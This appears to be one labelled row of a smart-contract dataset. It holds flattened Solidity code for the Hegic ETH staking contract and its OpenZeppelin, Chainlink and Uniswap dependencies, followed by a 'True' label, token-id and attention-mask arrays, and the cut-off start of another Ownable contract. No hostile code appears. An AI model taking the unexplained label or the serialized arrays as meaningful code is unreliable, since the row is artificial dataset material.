function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: contracts/Interfaces/Interfaces.sol
pragma solidity 0.6.12;
/**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
interface ILiquidityPool {
struct LockedLiquidity { uint amount; uint premium; bool locked; }
event Profit(uint indexed id, uint amount);
event Loss(uint indexed id, uint amount);
event Provide(address indexed account, uint256 amount, uint256 writeAmount);
event Withdraw(address indexed account, uint256 amount, uint256 writeAmount);
function unlock(uint256 id) external;
function send(uint256 id, address payable account, uint256 amount) external;
function setLockupPeriod(uint value) external;
function totalBalance() external view returns (uint256 amount);
// function unlockPremium(uint256 amount) external;
}
interface IERCLiquidityPool is ILiquidityPool {
function lock(uint id, uint256 amount, uint premium) external;
function token() external view returns (IERC20);
}
interface IETHLiquidityPool is ILiquidityPool {
function lock(uint id, uint256 amount) external payable;
}
interface IHegicStaking {
event Claim(address indexed acount, uint amount);
event Profit(uint amount);
function claimProfit() external returns (uint profit);
function buy(uint amount) external;
function sell(uint amount) external;
function profitOf(address account) external view returns (uint);
}
interface IHegicStakingETH is IHegicStaking {
function sendProfit() external payable;
}
interface IHegicStakingERC20 is IHegicStaking {
function sendProfit(uint amount) external;
}
interface IHegicOptions {
event Create(
uint256 indexed id,
address indexed account,
uint256 settlementFee,
uint256 totalFee
);
event Exercise(uint256 indexed id, uint256 profit);
event Expire(uint256 indexed id, uint256 premium);
enum State {Inactive, Active, Exercised, Expired}
enum OptionType {Invalid, Put, Call}
struct Option {
State state;
address payable holder;
uint256 strike;
uint256 amount;
uint256 lockedAmount;
uint256 premium;
uint256 expiration;
OptionType optionType;
}
function options(uint) external view returns (
State state,
address payable holder,
uint256 strike,
uint256 amount,
uint256 lockedAmount,
uint256 premium,
uint256 expiration,
OptionType optionType
);
}
// For the future integrations of non-standard ERC20 tokens such as USDT and others
// interface ERC20Incorrect {
// event Transfer(address indexed from, address indexed to, uint256 value);
//
// event Approval(address indexed owner, address indexed spender, uint256 value);
//
// function transfer(address to, uint256 value) external;
//
// function transferFrom(
// address from,
// address to,
// uint256 value
// ) external;
//
// function approve(address spender, uint256 value) external;
// function balanceOf(address who) external view returns (uint256);
// function allowance(address owner, address spender) external view returns (uint256);
//
// }
// File: contracts/Staking/HegicStaking.sol
/**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.12;
abstract
contract HegicStaking is ERC20, IHegicStaking {
using SafeERC20 for IERC20;
using SafeMath for uint;
IERC20 public immutable HEGIC;
uint public constant MAX_SUPPLY = 1500;
uint public constant LOT_PRICE = 888_000e18;
uint internal constant ACCURACY = 1e30;
address payable public immutable FALLBACK_RECIPIENT;
uint public totalProfit = 0;
mapping(address => uint) internal lastProfit;
mapping(address => uint) internal savedProfit;
uint256 public lockupPeriod = 1 days;
mapping(address => uint256) public lastBoughtTimestamp;
mapping(address => bool) public _revertTransfersInLockUpPeriod;
constructor(ERC20 _token, string memory name, string memory short)
public
ERC20(name, short)
{
HEGIC = _token;
_setupDecimals(0);
FALLBACK_RECIPIENT = msg.sender;
}
function claimProfit() external override returns (uint profit) {
profit = saveProfit(msg.sender);
require(profit > 0, "Zero profit");
savedProfit[msg.sender] = 0;
_transferProfit(profit);
emit Claim(msg.sender, profit);
}
function buy(uint amount) external override {
lastBoughtTimestamp[msg.sender] = block.timestamp;
require(amount > 0, "Amount is zero");
require(totalSupply() + amount <= MAX_SUPPLY);
_mint(msg.sender, amount);
HEGIC.safeTransferFrom(msg.sender, address(this), amount.mul(LOT_PRICE));
}
function sell(uint amount) external override lockupFree {
_burn(msg.sender, amount);
HEGIC.safeTransfer(msg.sender, amount.mul(LOT_PRICE));
}
/**
* @notice Used for ...
*/
function revertTransfersInLockUpPeriod(bool value) external {
_revertTransfersInLockUpPeriod[msg.sender] = value;
}
function profitOf(address account) external view override returns (uint) {
return savedProfit[account].add(getUnsaved(account));
}
function getUnsaved(address account) internal view returns (uint profit) {
return totalProfit.sub(lastProfit[account]).mul(balanceOf(account)).div(ACCURACY);
}
function saveProfit(address account) internal returns (uint profit) {
uint unsaved = getUnsaved(account);
lastProfit[account] = totalProfit;
profit = savedProfit[account].add(unsaved);
savedProfit[account] = profit;
}
function _beforeTokenTransfer(address from, address to, uint256) internal override {
if (from != address(0)) saveProfit(from);
if (to != address(0)) saveProfit(to);
if (
lastBoughtTimestamp[from].add(lockupPeriod) > block.timestamp &&
lastBoughtTimestamp[from] > lastBoughtTimestamp[to]
) {
require(
!_revertTransfersInLockUpPeriod[to],
"the recipient does not accept blocked funds"
);
lastBoughtTimestamp[to] = lastBoughtTimestamp[from];
}
}
function _transferProfit(uint amount) internal virtual;
modifier lockupFree {
require(
lastBoughtTimestamp[msg.sender].add(lockupPeriod) <= block.timestamp,
"Action suspended due to lockup"
);
_;
}
}
// File: contracts/Staking/HegicStakingETH.sol
/**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.12;
contract HegicStakingETH is HegicStaking, IHegicStakingETH {
using SafeMath for uint;
constructor(ERC20 _token) public
HegicStaking(_token, "HEGIC ETH Staking lot", "hlETH") {}
function sendProfit() external payable override {
uint _totalSupply = totalSupply();
if (_totalSupply > 0) {
totalProfit += msg.value.mul(ACCURACY) / _totalSupply;
emit Profit(msg.value);
} else {
FALLBACK_RECIPIENT.transfer(msg.value);
}
}
function _transferProfit(uint amount) internal override {
msg.sender.transfer(amount);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
28177,
2078,
1013,
6123,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
